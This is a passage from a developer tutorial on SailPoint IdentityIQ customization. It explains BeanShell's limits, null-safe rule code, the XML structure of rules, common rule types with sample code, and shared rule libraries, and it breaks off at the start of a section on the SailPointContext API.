&lt;td&gt;Correlation Rule&lt;/td&gt;
&lt;td&gt;During aggregation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Decide who approves a request&lt;/td&gt;
&lt;td&gt;Workflow&lt;/td&gt;
&lt;td&gt;Asynchronously, may pause for days&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Process every identity in bulk&lt;/td&gt;
&lt;td&gt;Task&lt;/td&gt;
&lt;td&gt;On a schedule&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Modify data on its way to a target system&lt;/td&gt;
&lt;td&gt;Provisioning Rule&lt;/td&gt;
&lt;td&gt;During provisioning&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The dividing line between a rule and a workflow is &lt;strong&gt;whether the logic can pause&lt;/strong&gt;. A rule runs start to finish in a single thread and returns one value. If your logic needs to wait for a human, it must be a workflow.&lt;/p&gt;

&lt;h2&gt;
  
  
  BeanShell: The Language IdentityIQ Actually Runs
&lt;/h2&gt;

&lt;p&gt;IdentityIQ rules are written in BeanShell, a scripting language that interprets Java syntax at runtime. This is the single most important thing to understand about IdentityIQ development, because BeanShell's differences from Java cause the majority of production rule failures.&lt;/p&gt;

&lt;h3&gt;
  
  
  What BeanShell Does Not Support
&lt;/h3&gt;

&lt;p&gt;BeanShell implements Java syntax as of roughly Java 1.4. The following will fail:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="c1"&gt;// GENERICS — not supported. This throws a parse error.&lt;/span&gt;
&lt;span class="nc"&gt;List&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;names&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ArrayList&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;();&lt;/span&gt;

&lt;span class="c1"&gt;// Correct: use raw types&lt;/span&gt;
&lt;span class="nc"&gt;List&lt;/span&gt; &lt;span class="n"&gt;names&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ArrayList&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

&lt;span class="c1"&gt;// LAMBDAS and streams — not supported&lt;/span&gt;
&lt;span class="n"&gt;names&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;stream&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;filter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;startsWith&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"a"&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;

&lt;span class="c1"&gt;// Correct: use an explicit loop&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;names&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;size&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="n"&gt;names&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;startsWith&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"a"&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="cm"&gt;/* ... */&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ANNOTATIONS — not supported&lt;/span&gt;
&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Loose Typing Hides Bugs Until Runtime
&lt;/h3&gt;

&lt;p&gt;BeanShell lets you declare variables without a type. This is convenient and dangerous:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Both are legal in BeanShell&lt;/span&gt;
&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;identity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getName&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;identity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getName&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because the script is interpreted, a misspelled method name compiles fine and fails only when that specific branch executes. A rule that works in your test case can fail six months later the first time an identity hits an untested code path. Two defenses matter:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Always declare types explicitly.&lt;/strong&gt; It does not make BeanShell check them at parse time, but it documents intent and catches cast errors sooner.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Validate rules before deploying.&lt;/strong&gt; The iiq console has a syntax checker — see the console section below.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Null Safety Is Entirely Your Job
&lt;/h3&gt;

&lt;p&gt;IdentityIQ getters return &lt;code&gt;null&lt;/code&gt; constantly. An identity may have no manager, a link may have no attribute, an application may not be assigned. Defensive null checks are not optional:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sailpoint.object.Identity&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="nc"&gt;Identity&lt;/span&gt; &lt;span class="n"&gt;manager&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;identity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getManager&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;managerEmail&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;manager&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;managerEmail&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;manager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getStringAttribute&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;managerEmail&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;managerEmail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;trim&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;managerEmail&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"identity-governance@example.com"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// fallback&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;managerEmail&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Rules: The Most Common Extension Point
&lt;/h2&gt;

&lt;p&gt;A rule is a &lt;code&gt;Rule&lt;/code&gt; object stored in the database, containing a BeanShell script and a declared type. The type determines &lt;strong&gt;which arguments IdentityIQ passes in&lt;/strong&gt;, and this is where most confusion lives — every rule type receives a different set of variables.&lt;/p&gt;

&lt;h3&gt;
  
  
  Anatomy of a Rule
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version='1.0' encoding='UTF-8'?&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;!DOCTYPE Rule PUBLIC "sailpoint.dtd" "sailpoint.dtd"&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;Rule&lt;/span&gt; &lt;span class="na"&gt;language=&lt;/span&gt;&lt;span class="s"&gt;"beanshell"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Example Manager Email Rule"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"IdentityAttribute"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Description&amp;gt;&lt;/span&gt;
    Returns the manager's email address, falling back to a governance mailbox.
  &lt;span class="nt"&gt;&amp;lt;/Description&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Signature&lt;/span&gt; &lt;span class="na"&gt;returnType=&lt;/span&gt;&lt;span class="s"&gt;"String"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Inputs&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"identity"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.object.Identity"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"context"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.api.SailPointContext"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/Inputs&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/Signature&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Source&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;![CDATA[
    import sailpoint.object.Identity;

    if (identity == null) {
        return null;
    }

    Identity manager = identity.getManager();
    if (manager == null) {
        return "identity-governance@example.com";
    }

    return manager.getStringAttribute("email");
  ]]&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/Source&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/Rule&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three details matter here:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The &lt;code&gt;&amp;lt;Source&amp;gt;&lt;/code&gt; must be wrapped in &lt;code&gt;CDATA&lt;/code&gt;.&lt;/strong&gt; Without it, any &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, or &lt;code&gt;&amp;amp;&lt;/code&gt; in your code breaks the XML parse.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The &lt;code&gt;type&lt;/code&gt; attribute is not cosmetic.&lt;/strong&gt; It controls the input arguments and where the rule appears in the UI dropdowns.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;&amp;lt;Signature&amp;gt;&lt;/code&gt; is documentation, not enforcement.&lt;/strong&gt; BeanShell does not validate arguments against it. Declaring an argument that IdentityIQ does not actually pass yields &lt;code&gt;null&lt;/code&gt; at runtime, not an error.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Rule Types You Will Actually Write
&lt;/h3&gt;

&lt;p&gt;IdentityIQ defines dozens of rule types. In practice, a small handful cover most work:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;BuildMap&lt;/strong&gt; — Runs once per row of incoming data during aggregation, converting a raw record into a &lt;code&gt;Map&lt;/code&gt; of attributes. Required by the JDBC connector, and used heavily with delimited-file connectors. The &lt;code&gt;record&lt;/code&gt; variable holds the incoming data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.HashMap&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="nc"&gt;HashMap&lt;/span&gt; &lt;span class="n"&gt;resultMap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;HashMap&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;cols&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;size&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;colName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="n"&gt;cols&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="nc"&gt;Object&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;record&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;colName&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;resultMap&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;colName&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Derive a value that does not exist in the source&lt;/span&gt;
&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="n"&gt;resultMap&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"EMP_STATUS"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;resultMap&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"isActive"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"1"&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="s"&gt;"true"&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"false"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;resultMap&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Correlation&lt;/strong&gt; — Decides which identity an account belongs to when a simple attribute match is not enough. Returns a &lt;code&gt;Map&lt;/code&gt; naming the identity attribute to match on:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.HashMap&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="nc"&gt;HashMap&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;HashMap&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;employeeId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="n"&gt;account&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getAttribute&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"employeeNumber"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;employeeId&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;employeeId&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Strip a legacy prefix before matching&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;employeeId&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;startsWith&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"E-"&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;employeeId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;employeeId&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"identityAttributeName"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"employeeId"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"identityAttributeValue"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;employeeId&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;IdentityAttribute&lt;/strong&gt; — Computes a value for an identity attribute during the Identity Refresh task. Receives &lt;code&gt;identity&lt;/code&gt; and, for some configurations, &lt;code&gt;link&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Provisioning / BeforeProvisioning / AfterProvisioning&lt;/strong&gt; — Modify a &lt;code&gt;ProvisioningPlan&lt;/code&gt; on its way to a target system. The canonical use case is translating IdentityIQ's values into whatever encoding the target expects — for instance converting &lt;code&gt;"Full"&lt;/code&gt; to the numeric code &lt;code&gt;1&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Certification&lt;/strong&gt; — Filter or pre-decide certification items, typically to auto-approve low-risk entitlements so reviewers only see what matters.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Find the exact arguments for any rule type&lt;/strong&gt; in &lt;code&gt;IdentityIQ_HOME/WEB-INF/config/examplerules.xml&lt;/code&gt;. This file contains a working example of every rule type with its real input arguments, and it is more reliable than the documentation for this specific question.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Rule Libraries Prevent Copy-Paste Sprawl
&lt;/h3&gt;

&lt;p&gt;Do not duplicate helper logic across twenty rules. Put shared functions in a rule of type &lt;code&gt;null&lt;/code&gt; and reference it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;Rule&lt;/span&gt; &lt;span class="na"&gt;language=&lt;/span&gt;&lt;span class="s"&gt;"beanshell"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Example Rule Library"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"null"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Source&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;![CDATA[
    public static String normalizeDepartment(String raw) {
        if (raw == null) return "UNKNOWN";
        return raw.trim().toUpperCase().replaceAll("[^A-Z0-9]", "_");
    }
  ]]&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/Source&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/Rule&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then in any consuming rule:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;Rule&lt;/span&gt; &lt;span class="na"&gt;language=&lt;/span&gt;&lt;span class="s"&gt;"beanshell"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Department Attribute Rule"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"IdentityAttribute"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;ReferencedRules&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Reference&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.object.Rule"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Example Rule Library"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/ReferencedRules&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Source&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;![CDATA[
    return normalizeDepartment(identity.getStringAttribute("dept"));
  ]]&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/Source&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/Rule&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The SailPointContext API
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;SailPointContext&lt;/code&gt; is your handle to the database. Nearly every rule receives it as &lt;code&gt;context&lt;/code&gt;. Four operations cover most usage:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sailpoint.object.Identity&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sailpoint.object.Application&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sailpoint.object.Filter&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sailpoint.object.QueryOptions&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
